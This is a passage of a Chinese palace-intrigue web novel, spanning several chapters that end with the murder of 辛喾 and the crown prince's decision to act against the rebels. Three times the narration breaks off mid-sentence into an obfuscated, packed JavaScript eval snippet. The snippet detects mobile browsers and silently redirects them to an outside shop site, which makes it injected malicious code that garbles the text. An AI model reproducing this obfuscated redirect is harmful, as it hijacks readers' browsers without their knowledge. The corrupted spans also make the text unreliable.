郇渰观其神色,寡淡无波,一如旧日,他才被炉火点起的勇气霎时熄灭。 沈碧端详他片刻,撑着小几坐起,“早点休息,今后几日恐怕不会太平。” “殿下。” 沈碧掀盖毯的手一顿,“怎么了?” “那天你问我究竟想要什么……” 那是极其普通的一天傍晚,郇渰身边的人请她过去说话,据说是郇渊课业表现不佳,那次主讲的先生是首辅冉先生的学生,一向以严谨、严厉、严重这样的“三严”著称,下衙的时候便顺路和他这个当父亲的“聊”上几句。 平日里他忙,来不及督促郇渊上进,而沈碧一向对这些没什么过高的要求,郇翾夫妇又哪里管这个,成天被郇渊这兔崽子哄得两个人找不到一个北,所以郇渊的课业便在各种因素的促使下,彻底摔进了天坑。 那天沈碧是略微有点愧疚的,毕竟自己不管他就不学,说起来像是自己的怠惰断送了儿子的前途。 但这种愧疚不多,仅仅有一个弹指。 毕竟这个年纪的小孩子天性爱玩,况且她看着很早就觉得,郇渊并没有多少读书的天赋。那就聪明人读聪明人的书,傻人享傻人的福,各得其乐,皆大欢喜。 但郇渰还是紧张这唯一的儿子的,所以她也打算表现得更加愧疚些,但她自知没有演戏的天赋,正着急琢磨着该如何向郇渰表达自己这“惊世骇俗”的教育观念,结果郇渰叫自己来却不出现,让自己坐在那里干等,这一等就有了一会儿。 像是一个下马威。 但这一等,还是等到了些非同寻常的东西。 是一碗药。 熬药的小厮是他的心腹,但再心腹,自己用点手段不还什么都吐了干净。 然后成婚近八年来,他们第一次吵架。 为了一碗避子药吵架。 男人喝的。 郇渰道:“殿下,你这么聪明,难道不明白吗?” 沈碧避开他的眼神,“你不说,我当然不知道。” “那殿下想听吗?” 沈碧沉默瞬息,“其实我不想听,你若是想说,也可以。” 郇渰咬紧牙根,将堵了十几日的一口血气重新咽下去。 沈碧起身,慢慢叠着盖毯,“我的回答也很明显了不是么,你早就猜得到,何必说出来伤心。” 这句话不知哪处戳痛了郇渰,他一松牙,这裹挟着八年的怨愤不解便彻底决堤,他上前两步,走到她身边三步远的地方,“为什么呢?恨我?恨这个地方?恨这桩婚?恨眼前人不是心上人?” 沈碧看他眼睛赤红,“没有心上人。” 郇渰嗤笑:“那就恨这桩婚,身不由己。” “不恨。” 郇渰呼吸一促,眼里尽是控诉。 沈碧移开视线,将盖毯摊在桌脚,“为什么都是‘恨’呢?郇渰,我生来就这样,不是因为恨什么人、恨什么事。” “说谎!” 沈碧抬头,“你怎敢笃定呢,就因为在床笫间我不是这个样子,所以你认为我在说谎,你觉得我本来该是那样恣意情爱的人?所以听见我说以后不要孩子,你就各处搜罗到那样的偏方,只为了在床帐落下后多见识我的真相?” 她轻笑一声,“你觉得只有在那个时候,我是很爱你的么?” 沈碧似是苦恼,她脸上再也不尽是平淡了,“郇渰,驸马之名、夫妻之实,甚至于嫡长子、继承人你都有了,很早我也跟你说过,只要侯府平静,你去外面追求轰轰烈烈也未尝不可,如此,自由,你也有了。” “你还有什么不满足的呢?为什么还要苛求这么多呢?你是觉得我既然嫁给了你,什么都给了你,这颗心怎么还不能给你呢?” 沈碧直视他,“可是郇渰,我就剩下这颗心了,这点自由你都要夺走吗?” 郇渰呼吸一窒,苍白着脸踉跄着后退,一直退到了屏风边。 “冷石头要捂热,很难,很艰难,可你想没想过,或许她本来就是块冰,再捂,就要化。” 沈碧背过身去,“药别吃了,把你自己弄成这副样子不值当。再有,我一无所有,拿什么回报这样的一厢情愿?心是我的,心有谁也是我决定的,但无论有谁,都不会威胁到你、威胁到这桩婚、这个家,这个你尽管放心。” 郇渰的血终于冷了。 但沈碧还能听见他的气息,一声长一声短,一声急一声慢。 “你如果说我撒谎——”她低头苦笑,“或许吧,我恨——恨很多没办法解决、没办法改变的事情、还有人,不过我现在就挺好的,这样的状态便挺好的,这就是‘恨’的良药。一辈子恨下去,一辈子苦,我不是生来受苦的。” ** “姑姑,宁先生又夸我了,你说母亲听过后会不会就高兴起来了?” 沈磐抱着沈仪玥坐在床边,沈仪璩抱着枕头靠在她身边。 “宁先生夸了好多人呢,连大姑姑家的郇渊他都夸了,这样的夸奖一点也不特别。” 璩儿苦恼地把小脸搁在沈磐臂弯,“那怎么办呢?爹爹还不回来,母亲一直伤心,张佥事不知道又说了什么,母亲更伤心了。” 玥儿仰头问沈磐:“姑姑知道是为什么吗?” 沈磐摇头。 玥儿捏璩儿的脸,“傻哥哥,那就去问张佥事啊。” 璩儿朝沈磐眨眼,沈磐摇头:“不行,太晚了,你们得睡觉了,不然明天你们爹爹知道了,要骂我呢。” 玥儿搂住沈磐的脖子,“才不会呢,爹爹什么时候骂过姑姑?”说着,她在沈磐脸上大大地亲上一口,“我们小孩子会乖乖睡觉的,但姑姑是大人了,大人是不会乖乖睡觉的吧?” 沈磐笑道:“玥儿又想让我帮你做什么呢?” “嘻嘻, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035893|192089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姑姑去问问张佥事不就好了?我和哥哥乖乖睡觉,明天一睁眼姑姑就带我们去哄母亲,又说不定睡了一觉母亲心情就好了呢?” 沈磐鼻子一酸,沙哑着声音笑问自己臂弯里的小男孩,“璩儿觉得呢?” “璩儿觉得妹妹说得很对!” 兄妹俩一拍即合,也不管沈磐答不答应,各自兴奋地从沈磐怀里跳了出来,抢回了各自的枕头就踩着袜子趴回了各自的被窝。 其实他们各有房间的,只是因为今夜特殊,沈磐要带着他们两个睡,他们就一窝蜂搬到了她在演花殿的寝室。一张床要三个人分,一个喜欢睡左边,一个不要睡右边,沈磐不堪其扰,后来他们总算约定了下来,只是苦了沈磐要躺在中间,搂着两个小祖宗听他们讲说不完的夜话。 从前是这样的,今夜突然变得这么听话,沈磐觉得他们两个虽然年纪小,却和沈仪明一样极其贴心聪慧。 特别的贴心聪慧,总让人觉得心疼。 沈磐哄完他们兄妹,蹑手蹑脚披了衣服出了寝殿。在门外呵着气站了会儿,她又轻车熟路地推开门探头看了进去,果然,玥儿、璩儿睁着乌溜溜的眼睛看着她,被抓了现形,只能红着脸躺了回去。 沈磐合上门,搓着手又站了会儿,再度开门时,就听璩儿迷瞪瞪居然说起了梦话。 必然是装的。 她能不知道吗?小时候她就这么干的。 沈磐心里无奈,但再站下去她小命都要冻掉半条,只能边叹着气边沿回廊走。 然后她就感觉,背后总有人盯着她,等她走到拐角处稍稍往来时路一瞥,果然是猫着腰躲在廊柱后面搓手的兄妹俩。 嗐,她早知道这俩魔星是不可能安分睡觉的,不然太子妃还把他们托付给自己作甚? 沈磐大声叹气,那边兄妹俩顿时如同惊弓之鸟进退维谷,引得沈磐掩着嘴唇憋笑得辛苦。 东宫的路沈磐极熟,很快就拐到了地方,正碰见义然提着桶热水往屋内送。 义然看见沈磐,顿如雏鸡见了蛇,张口就要大喊,被沈磐一个杀气腾腾的手势制止。 “义然?”里面张永一在喊他。 沈磐扬眉,示意他把水送进去,等他苦着脸出来,沈磐指着蒙昧的来路,“后面有两条小尾巴,把他们提过来。” 说完,沈磐转身推门,走入水汽漫漶的室内。 果不其然,一入屋,就见张永一披头散发裹着中衣赤脚走了过来,“公主?” 沈磐视线回避,在门口临窗的长榻边随便坐下,“你收拾一下,有两个人要见你。” 见张永一不掉头反倒朝自己走来,沈磐呼吸一缓,余光一扫不慎见他沾着水的指节紧紧捏在一起,手指攥住的中衣都被热水打湿,模模糊糊透出他衣料之下健硕的腰腹。 然后,猝不及防间他松开了手,指尖的水珠从身前划过,最后没入长榻上堆在一起的衣物中。 沈磐倏尔弹起,留下一句“外面等你”就推门走了出去。 义然已经把璩儿、玥儿带了过来,一见沈磐走了出来,脸上更难看得如同裹尸布。 “公主,人带到了。” 兄妹俩不好意思地低下头,却不见沈磐训斥他们,奇怪又期待地抬头去瞟她的脸色,突然就看见身后门内走出一个男子来,匆忙束了头发,一身衣物穿得还算整齐。 璩儿惊讶道:“张佥事!” 张永一连忙朝他们行礼,但话没出口就被刻意板着脸的沈磐打断,“你们这么害怕我会瞒着你们?” 玥儿扭到沈磐身边,嘟着嘴拉上沈磐的袖子。 “妹妹膝盖都摔伤了。” 闻言,沈磐蹲身,把已经算不得轻的小姑娘抱起,口吻也彻底软了下来,“穿这么少就跑出来,明天发了烧我看谁给你们说情。” 玥儿笑着扎入沈磐脖颈间,这把扯着沈磐裙子冻得小脸通红的璩儿羡慕得不轻。 “好了,张佥事就在这里,你们要问就赶紧问,问完了立刻回去睡觉。” 璩儿走向张永一,“张佥事,是外公家出事了吗?” 张永一微愣,看向沈磐。 “你实话实说。” 39. 第三十九章 郇翾留在了五柞宫没有回来,但这如同交换人质一般,英国公辛喾回来了,太子携文武百官在承天殿广场亲迎。 这是罕见的一个晴雪天,琉璃瓦上的积雪白花花晃人眼。雪化时总要比寻常更冷,沈磐穿得足够厚实,但带着辛翩翩在东直门等候的这一会儿功夫,还是被冻得四肢僵硬。 一见辛喾从宫门走出,辛翩翩就扑了过去,“爹!” 叫完这一声,辛翩翩才看见太子、冉琢明、房桂稻等部院门前骑马的大人物全在边上看着,顿时尴尬。 “翩翩!”辛喾喜不自胜,也不顾及周围人的目光,抱住心心念念的女儿拍拍她的肩背,“翩翩乖,爹爹现在要赶去五柞宫,很快就会回家陪你们过节。” “这就要走了?” 太子带着诸人略往前先走了几步,辛喾这才能和女儿叙话:“爹爹肩负了陛下的命令,回京打听清楚消息,要去五柞宫验证襄阳侯所说非假,这样才能把陛下和太子殿下之间的误会解开。” “误会?” 沈磐顾不得多礼,上前问:“什么误会?霍轶人呢?他在五柞宫吗?” 辛喾边颔首行礼边解释:“陛下知道了霍开武对公主下蛊的真相,龙颜大怒,巫蛊的那些误会就全解开了。霍轶没有来五柞宫,陛下也在命锦麟卫各处搜捕。” “乔指挥使还好吧?” 辛喾听得出沈磐话中意味,又见女儿目露恳求,只好将承天殿上不能当着文武百官的面说的话悄声吐诉:“乔指挥使很好,阴阳卫守备也不比锦麟卫差,只是全被陛下安排在外围,离陛下休息的寝宫较远。陛下成日里又只见太医施汜,乔指挥使不放心,硬是冒着惹陛下不悦的风险,请求每五日亲自面圣一次。” 沈磐点点头:“乔指挥使思虑周全。” “但是,五柞宫里的所有人都被陛下严令,不许随意向外通信,所有流出的信件都要经魏指挥使过目,乔指挥使也没有逾越的权力。并且——” 辛喾神色略显颓丧,“前几日乔指挥使向陛下建言,恳求陛下早日回京,触怒了陛下,被勒令戴罪思过。” 沈磐猛攥手指。 缓了片刻,她听辛翩翩问:“爹,陛下的状态究竟如何?” 辛喾摇摇头:“时好时坏。这次我回京一趟,向陛下把所有事情都讲清楚,再将内阁、东宫联名的奏本递上,想来岁末宫宴在即,陛下不久就会返京的。” 沈磐心更沉,木木地后退不再打扰他们父女这珍惜短暂的相聚。 领会到沈磐的好意,辛喾笑向女儿:“翩翩,你姑姑生辰在即,你代爹爹去看看她陪陪她。” “好,爹爹你放心,啊对了,二嫂嫂有孕了,爹爹马上要当爷爷了。” 辛喾大笑起来,“好啊,太好了,等我这趟回来,咱们一家就团圆过年节……” 沈磐又退了一步,目送辛翩翩父女向前走,更觉得他们这一走便好像顺手把头顶的金乌太阳也给牵走了。她冷啊,太阳当空也冷得四肢冰凉,再想到那天在五柞宫,她和她的父亲是怎么相处的,她便觉得自己的狐裘里霎时间卷满了严冬冷意,五脏六腑都被冻成了冰块。 她不受控制地又退一步,退了一半就想起她们本就在墙根底下守株待兔,这么一退准要退到墙上去,又或者她擦着墙沿摔上湿冷冰冻的东太平门甬道。 就这么一想再想,她身体不稳,猛然向后栽去,可等到的不是筋骨断裂的剧痛,而是一个温暖又坚实如山的怀抱。 是张永一。 他身后还远远跟着人,粗略一看,长缨卫中还站着他的堂兄张绰。 沈磐接下张永一的礼,望着疾速走来的张绰,“张佥事要往哪里去?” 张永一将头更低了些,以便身后的张绰都能看清楚他的谦卑和他们之间的君臣礼数,“回公主,太子殿下派末将随同阴阳卫护送英国公前往五柞宫。” 沈磐点点头,又应下张绰等人的见礼,旋即错身往东宫走。 张绰没打量出张永一神色里的错漏,只将心里的惊讶统统镇压。 毕竟,老远看见宫墙边站着一个女子他就认出是长平公主,更抢在所有人反应之前扶住了公主。他张绰也是常常在皇宫大内行走的,羽林卫碰见这种情况,向来秉持君臣有隔、男女有别的理念,宁可装作看不见承受随后的训斥,也不敢和宫中的贵人有任何牵连。或许因为张永一是长缨卫,守护太子胞妹也是长缨卫的职责,所以他才又欲盖弥彰地行那样大的礼以示清白。 张绰无奈,“永一,我就送到这儿了,你定要平安。” “嗯。”张永一应声,“祖母那里还望多加照拂。” “这是自然。永一,你要好好的,我们在家里等你回来。” ** “张永一?” “末将在。” 辛喾骑在马上大笑,“不用这么拘谨,我就是想和你聊聊天。” 张永一微垂下脸。 “我们上回见还是岁末宫宴吧?” “对。” 辛喾慨然:“马上又要过年了——”他重新扬起低迷下去的笑,“翩翩和我说起过你,你在宁远救过燕王,又在化隆救了长平公主,得你相送,我极其放心。” 张永一不知该如何应对这样突如其来的赞扬,只默默背上更重的责任,抿唇低头。 “你这年纪还没娶亲,但长公主应该已经帮你物色好了,听翩翩说,是郭阁老家的?” 张永一沉默。 辛喾当他默认,继续道:“他家好啊,郭阁老是前朝的风云人物,也是本朝初年组阁的元老,他的孙儿郭辞文是陛下的好友,家里还出过贵妃,但又不涉储争,是极好的联姻对象。郭家家法森严,郭家出来的女儿也都很不错的,是极好的新妇人选。” 见张永一似是不想多聊嫁娶之事,辛喾调了话头笑道:“我家老二媳妇怀孕了,我很快就要当爷爷了,等我孙儿满日那天,你来我家吃酒,记得把你叔祖父他们也带上,我也有许久没有见过他们了,还记得我们也曾经一起在菁明书院念书……” 说起少年往事,辛喾不禁怅然:“郭辞文不在了,季谨也不在了,想当年我们几个还有卿澄,常常去上林游猎,在山里呆上一宿,白天从芳林门回城再去极乐坊吃酒。那时候化隆城里的纨绔拉帮结派,西南氏族入京后我们就和他们形同水火,滕文彪虽然不常跟我们玩,但他在那帮烂人里算是出淤泥而不染的,特别仗义,后来他滕家失了势,他去了西北,这一去就再没回来,再后来……就没有后来了。” 辛喾黯然,“这一晃几十年了,走的走,老的老,陛下也成了这副样子。” 张永一心下微动,“陛下怎么了?” 辛喾不说话,苦笑着摇头。 知道辛喾不肯说,张永一就不再追问,可前往五柞宫的路途极其枯燥单调,沿途都是皑皑白雪和暮暮远山,天地之间更再无别的颜色。鲜衣怒马少年时,仅仅一个“鲜”就能将沉醉往事而困纠现实的人折磨得口不择言。 辛喾终于还是说到:“他从前根本不相信鬼神,不信天命,只认人为。” 张永一心口钝痛。 此刻,他不知自己为何而痛,却在下一瞬辛喾眼里的哀痛中找到了答案。 “他现在,打心底也不相信鬼神,可他只愿在虚幻里度日。这现实里太痛,可再痛,何至于抛下国事躲到角落里醉生梦死?” 辛喾重重叹气,“‘君以此始,必以此终’,我从前还不信,见了那些人、听了那些事,统统不信……” 现在信了。 信得不甘,信得狼狈,信得面目全非。 辛喾紧紧咬着牙。 两人间的气氛逐渐落地,辛喾也觉出了自己在小辈面前不知所云的尴尬,正好官道上彪马来人,穿的是锦麟卫的甲胄,他干笑一声道:“五柞宫来人接应了。” 领头的张永一认识,是指挥使魏俊秋的心腹爱将林金。 “那张佥事便回去吧。” 张永一摇头:“太子殿下令,末将要将国公爷送至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040051|192089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五柞宫,再将郇侯爷请回城。” 林金高呼:“末将林金见过国公爷,甲胄在身,恕臣在马不拜。陛下命末将接国公爷入行宫,张佥事可以回东宫复命了。” 张永一驱马行至林金身边,“受太子殿下命,属下要将国公爷亲送至五柞宫……” 林金瞪他,“张佥事要忤逆陛下吗?” 张永一噎住,思索着该如何委婉化解林金这突如其来的怒意,辛喾便笑道:“林副使,长缨卫一道相送也无妨吧?” 林金压着眉头,再看了张永一一眼,终于松口:“算了,那就一起吧。” 他牵缰绕至张永一身侧,低声威胁:“可别怪我没提醒你。” 张永一微怔,回看时林金已经驱马跑到了队伍前列,锦麟卫按照他的指挥与长缨卫和阴阳卫一一结对围了上来。回头粗略一算,锦麟卫人数两倍于自己,且都是精锐,张永一顿感不详。 “怎么了?”辛喾还是笑着的。 “国公爷在此稍作休息吧。” 辛喾一愣,“这前不着村后不着店的……” 但他见张永一神情严肃,便甘心一赌,叫自己的心腹去队前和林金交涉。林金果然不悦地回瞪过来,但辛喾眼睛不瞎,看得见林金瞪的不是自己而是张永一。 张永一按着佩剑,不惧于和他眼锋相接。 林金还是答应了,锦麟卫即刻下马,张永一这才发号施令命长缨卫和阴阳卫也下马修整。 辛喾这才敢喘一口气问:“这是怎么了?你与他有过节?” 说着,辛喾也要下马,眼看他右脚脱鞍马上就要着地了,就突然听身下的马长嘶一声,手上不稳,即刻被发了疯撒腿要跑的马掀到了地上。 张永一惊骇,即刻下马去扶辛喾,却听一声极其细微的刀刃破肉后的血响,顿时浑身肌肉紧绷。 他猛然抬头,就看见辛喾的心腹正被林金捏着后脖颈,一柄白森森的长剑就从他左肩胛骨自上而下地贯穿心口、最后向右破出右肺方位的表面皮肤。 林金甚至是踩着尸首的背,反手把剑拔了出来。 鲜血四溅,泥泞雪地顿时红透。 张永一呼吸一窒,抓起地上痛得嚎叫的辛喾就要往马背上捞,抬头就见一支羽箭正直直破风朝自己飞来。 不,这不是羽箭,这是军中发号施令的鸣镝! 张永一仰倒躲过这支鸣镝,用力把辛喾拍在了马背上,马儿受到了这样的刺激,顿时如同林金重新搭上的第一支白羽箭般,“嗖”的蹿了出去。 张永一堪堪避开这支箭,就听耳边利刃破肉声响接连不断,一些长缨卫还没来得及反应,就被身边的锦麟卫一刀封喉。他拔剑站起,就听四周兵刃相接,眼前红光一闪,林金身边的佥事就舞着刀骑马向辛喾追去。 张永一顿时明白过来,两刀砍倒围追堵截的锦麟卫,抢了匹马就朝危在旦夕的辛喾追了上去。就在辛喾要被锦麟卫一刀贯喉的当口,张永一抽出箭筒里的箭矢,架了弓就朝那人咽喉处射去。 辛喾暂时脱险,可就在张永一稍稍放下心时,就见辛喾身子一歪,差点从飞驰的马上摔落。 张永一大惊,松了马僵踩着脚下这匹马的马背朝辛喾扑了过去,惊险地捞住即将栽倒的辛喾。握住了缰绳控制了方向,张永一这才发现辛喾的腿弯中了一箭。 辛喾捂着血流不止的伤处,一会儿的功夫就苍白了嘴唇。 这是林金射出的一箭。 箭头有毒。 张永一浑身的血都凉了。 身后再没有锦麟卫追来,可辛喾趴在他背上也逐渐没了气。 “陛下……他……他对……” 辛喾彻底没了声音。 最后那个字他说得艰难,模模糊糊的,张永一听着像“家”又像“节”。 他什么也听不清,只听见辛喾胸口因为毒发而呼吸不畅得像腐朽水车散架般咯吱作响,最后,连这样刺耳的挣扎声也熄灭了,如同头顶的天。 去而复返,化隆城又在眼前。 40. 第四十章 荒山冢(十三) 桂宫灯火已灭,像一坨打着瞌睡的庞然大物匍匐在天梯般的汉白玉石阶台上。 因为襄阳侯郇翾在此,乔晏才有机会日夜守在殿门附近。枯等英国公辛喾带来化隆如旧的消息整整三个日夜,乔晏未曾阖眼,刚刚打了一个盹,就被天阶下嘈杂的脚步惊动。 着甲按剑而来的正是魏俊秋。 但并不仅仅是魏俊秋。 乔晏几乎是在和魏俊秋对视的同一个瞬间,意识到十几个锦麟卫抬着的一具具尸体究竟是什么人。 魏俊秋一把推开冲上来的乔晏,“嘭”的一声跪在冰冷的石台上朝漆黑的殿门内大喊:“臣魏俊秋求见陛下!” 坐在殿门后守夜的小内监即刻传声:“锦麟卫指挥使魏俊秋求见!” “魏俊秋有军国大事求见!” “魏俊秋求见!” 乔晏只能任凭这样的喊叫在寂静的桂宫里回荡。然后一刹那,殿内的灯次第点亮,沉重的殿门只被小内监推开一条缝,讨好的嘴脸就已经关不住,“指挥使有请。” 乔晏眼见魏俊秋步入正殿,即刻喊来亲卫:“去请襄阳侯,要快!” 一十五具阴阳卫的尸体就搁置在平台上,冷风一过,腥气四散。 郇翾赶来时,差点没被吓得晕厥过去,再听殿内如同塌天的摔打声,顿时清醒。 化隆出事了。 辛喾出事了! 来不及通传,郇翾便冲了进去,乔晏顺势也追了过去。 正殿桌案上已无一物完整。 “乔晏?你来得正好,即刻去皇城兵马司调兵……” “陛下,不可!” 永济帝一脚踹翻了紫檀花樽,“不可?你告诉朕如何不可?他居然敢杀了辛喾!他眼里还有没有我这个君父!他就是要谋反!” “这里面一定有误会陛下!” “误会?”永济帝指着洞开的殿门外,蒙着白布也被夜风冷雪吹得轮廓历历分明的一具具阴阳卫的尸体,“这是什么误会?乔晏,你派去护送辛喾的有多少人?是不是全躺在殿外!” “还有!”他伸手要捡散落在碎瓶烂碗里的那张血纸,魏俊秋赶忙捡起双手捧着送了上去。 永济帝冷笑:“这是辛喾的手书,错不了!你自己读读上面写的什么!” 郇翾只扫过一眼,便骤感绝望如同门外席卷而来的深冬寒意,将殿内所有人裹挟。 太子欲反。 “太子欲反!这是辛喾的心腹忠仆拼死藏下的绝笔!若不是搜得仔细,这十几条人命是不是就要算到锦麟卫头上?!是不是在朕反应过来后,太子已经发兵包围了五柞宫!” 郇翾只响亮地跪倒于地,“陛下!太子……” 乔晏抢白:“英国公尸身何在?” 魏俊秋摇头:“锦麟卫只找到了这些尸体,想来是英国公在化隆城有难,故而派心腹前往五柞宫传信,不欲陛下被逆贼蒙骗。” 郇翾以头抢地,“不见辛自宽,如何证明手书并非他人伪造!” “英国公理应在今夜抵达五柞宫,队伍里没有他,这就说明了问题。” 郇翾冲魏俊秋暴呵:“魏指挥使不要妄言臆测!” “陛下!太子性情如何陛下您最清楚不过,他如何会有不臣之心!还望陛下明察!” 永济帝冷森森地笑了:“他的心思,朕怎么知道?” 郇翾背脊一凉,“陛下……” “一而再再而三地反驳朕,急着和百官宗亲互通有无,太子的心思,朕这个早被架空了的皇帝怎么知道!” 眼见郇翾触了逆鳞,乔晏“扑通”跪下恳求:“臣请验看每一具尸身。” “去!好好看看,看看太子犯下的罪孽!” 乔晏起身。 郇翾知道自己说错话,但开弓没有回头箭,且他本就是代表太子来的,在这个地方,他不替太子辩白陈情,难道任凭杀人凶手继续污蔑吗? “陛下……” 可他的话还没出口,永济帝就警告道:“郇翾,看在阿姐的面子朕不杀你,你别逼朕。” 郇翾浑身一震。 膝盖是疼的,额头是疼的,他的心更是撕裂般的疼。 他眼中激出泪来,“可是原本东宫的这一切,都是她的安排啊!” “你别提她!” “是陛下您说起了长公主!” “你给朕闭嘴!” 郇翾扣倒在地,眼泪划过额头,积蓄在他压在地上的指背,又沿着指缝,渗入掌心。 掌心一片温濡。 永济帝喘着粗气,最后指着郇翾警告:“襄阳侯府破落门户,你哥哥郇海山又识人不明,让我阿姐枉担了那么多年的折磨,如果没有她,没有朕,早就流放灭门的靖安侯府就是你们的下场!但你也是她看着长大的,所以朕不想杀你,你别不识好歹。” “陛下……” “你找死吗?你可以不怕死,那你的儿子孙子呢!你的长子郇渰,最像你哥哥郇海山了,郇侯世子、刑部郎中,他还娶了晋国、当了朕的女婿。我阿姐和郇海山没有孩子,她生前还因此遭受各种非议!看着郇渊那孩子逐渐长大,朕倍感欣慰,总想着如果当年也能像现在……” 永济帝眼眶湿润,“阿姐就舍不得死了吧?她一定会坚守承诺,坚守那年在敦慈皇后灵前的承诺,绝对不会抛弃我……” 郇翾忍痛道:“殿下为了陛下的前途经久操劳……” “是因为郇海山!你哥哥郇寰!是因为他!所以她才会死!” 郇翾咬牙,不敢让人听见他喉咙口汹涌的哽咽。 近来总觉得逝者有灵,永济帝也不敢多诉对郇寰的不满,转头看见了魏俊秋,“魏俊秋,你也是我阿姐提拔上来的对吧?” 闻言,魏俊秋低头道:“是。那年初见辅国长公主,微臣只是一名看守薜荔殿的朱雀卫,幸得长公主赏识,这才能有机会报效大楚。长公主,乃至兖国公主驸马郇侯,都是微臣的恩人。” 永济帝捂着半边被冷风吹得涩涩疼的脸,“知遇之恩!再造之恩!” 魏俊秋高声复述:“长公主对微臣是知遇之恩!再造之恩!” 永济帝另一半苍老的脸上划下一行泪,他捶着龙椅,“结草衔环尚且难报此恩,他怎么可能背叛阿姐?怎么可能背叛朕?他怎么可能去栽!赃!太!子!” “可太子已经是太子……太子为什么要造反!” 永济帝大笑不止,似震得瓦上积雪都扑簌簌落下。 “是啊,他都是太子了!朕死了皇位就是他的!” 他朝着泪流满面抬头哭求的郇翾咆哮:“但他等不及!但他恨啊!恨朕这个父亲没有对他的母后从一而终!恨朕又那样宠爱陈王让他觉得危机四伏!恨朕苛责他的幼弟、利用他妹妹的婚姻!更恨朕杀了元良全家!” 他踢翻身边已经倒塌的紫檀花樽,木架子极其结实,就这么从台阶上滚落,摔在郇翾手边,飞起的一块用作装饰的紫玉正好滚到魏俊秋面前。 “叮铃铃——” 紫玉不再翻滚,终于安静下来。 可永济帝觉得吵,像是千百万人在他耳边闹,闹得他心焦神躁,他朝门外暴吼:“乔晏你看好了没!” 乔晏应声退了回来,携风带雪在郇翾身旁跪下,“回陛下,目前所见,的确……的确像是……” 魏俊秋阖眼,永济帝又吼道:“那就立刻去皇城兵马司调兵!给朕围住化隆城、围住东宫!若遇叛军反抗——” 他的视线重新落在郇翾脸上,哭得极其窝囊的郇翾脸上。 毕竟是亲兄弟,他长得和郇寰也有六七分像;毕竟是亲兄弟,他们的窝囊也有六七分像。 永济帝闭上眼,吐出一口气:“若遇反抗,格杀勿论!” ** 沈磐冲上文正殿时就看见辛喾的尸体躺在地上,边上跪着卸了甲的张永一。 他背上全是乌血。 沈磐看不见他的脸,只在弹指间辨清楚这血不是他的,才迅速移开视线,走向太子。 若薛正衢死后的太子是歇斯底里的,那现在的他就是行尸走肉。 他只是凝望着辛喾的脸,隔着白布望着他的脸,不知想了什么,想了这么久。 沈磐走到他身边,他这才仰起头,疲惫的眼睛似在说:哦,磐磐来了。 沈磐握住他颤抖的手,就像那天他攥上自己手臂那样。 太子深吸一口气就松手起身朝长案后的冉琢明道:“冉先生,拟旨吧。” 得令,冉琢明也不问拟什么旨,就提笔蘸墨,坐得离他最近的大理寺卿陶识礼替他铺纸。 冉琢明摇头的同时太子就说出了“不对”二字。 陶识礼回头去看亲手扶起张永一的太子,来不及问,就听冉琢明提醒:“就用蜡笺纸。” 陶识礼倏尔转头,“那是御用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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梅洐开口:“我和弟弟今夜扶四叔入宫,就是定了决心。” 方继昌又急又气:“你们两个年轻人懂些什么!” 梅依径得了兄弟两个的绝对支持,梗着脖子朝冉琢明叫道:“冉琢明,论资排辈,那年金榜题名,你是探花、我是榜眼,你排在我后面,今天这诏书理当我写!” 冉琢明端着笔,沉默不应。 “梅洐梅沸,扶我过去。” 方继昌劝不住,求助地望向冉琢明。 梅依径已经走至案边。 就在这时,沈磐两步走到张永一身前,在旁人来得及阻止前拔出了他握在手中的佩剑,几步冲向长案后群臣拥簇的冉琢明。 兵部侍郎房桂稻第一个反应过来要扑过去,却被陶识礼横臂拦住。 沈磐举剑架上冉琢明的脖颈,“首辅大人,写吧。” 众人惊骇不已。 方继昌气急:“公主!你怎可对首辅无礼!” 冉琢明却抬起低垂的脸,眼里尽是苍凉,“殿下,就算没有这把剑,臣也会写的。” 沈磐余光扫过梅依径和梅氏兄弟,“剑在本宫手里,首辅大人只管拟旨。” 梅依径吼道:“你不怕百官弹劾吗!公主还未出降,此刻更是以女子之身参议政务,公主不管君臣父子的伦理,也要顾及自身安危……” 沈磐冷冷看着冉琢明重复道:“冉大人,拟旨吧!” 冉琢明瞥着自己颈项间的这柄剑,不禁叹气:“多谢殿下好意。” “沈磐。” 沈磐小心端着剑应声回头。 太子握住她持剑的手,“我来。” 一瞬。 两瞬。 三瞬。 沈磐还是松手,任由太子接过张永一的剑。不过他没有继续架在冉琢明脖子上,而是反手收了剑,仰头就着光念出剑身上錾刻着的两个字,“除秽。此剑名为‘除秽’,是张将军在边塞保家卫国用的剑,曾由元良郡王保养收藏,现在回归到他的儿子张佥事手中。” 他捧着剑转身走向张永一,“既为除秽,那此剑就当除朝廷之秽、除大楚之秽。今时今刻,霍氏造反、谋害陛下、窥伺神器、危及国家,本宫既承太子之位,哀思之中不得不主持正统,首辅冉先生替本宫拟旨昭告天下,讨伐逆贼、捍卫社稷,文正殿中在职官员若不应允,即为剑下之秽,必当除之。” 太子投剑,剑入鞘,声铮然。 “房侍郎,请即刻持本宫的手诏和节杖前往紫微宫,将玄武卫一众精骑调回化隆。” 太子看向殿外,化隆城的夜色尽收眼下。 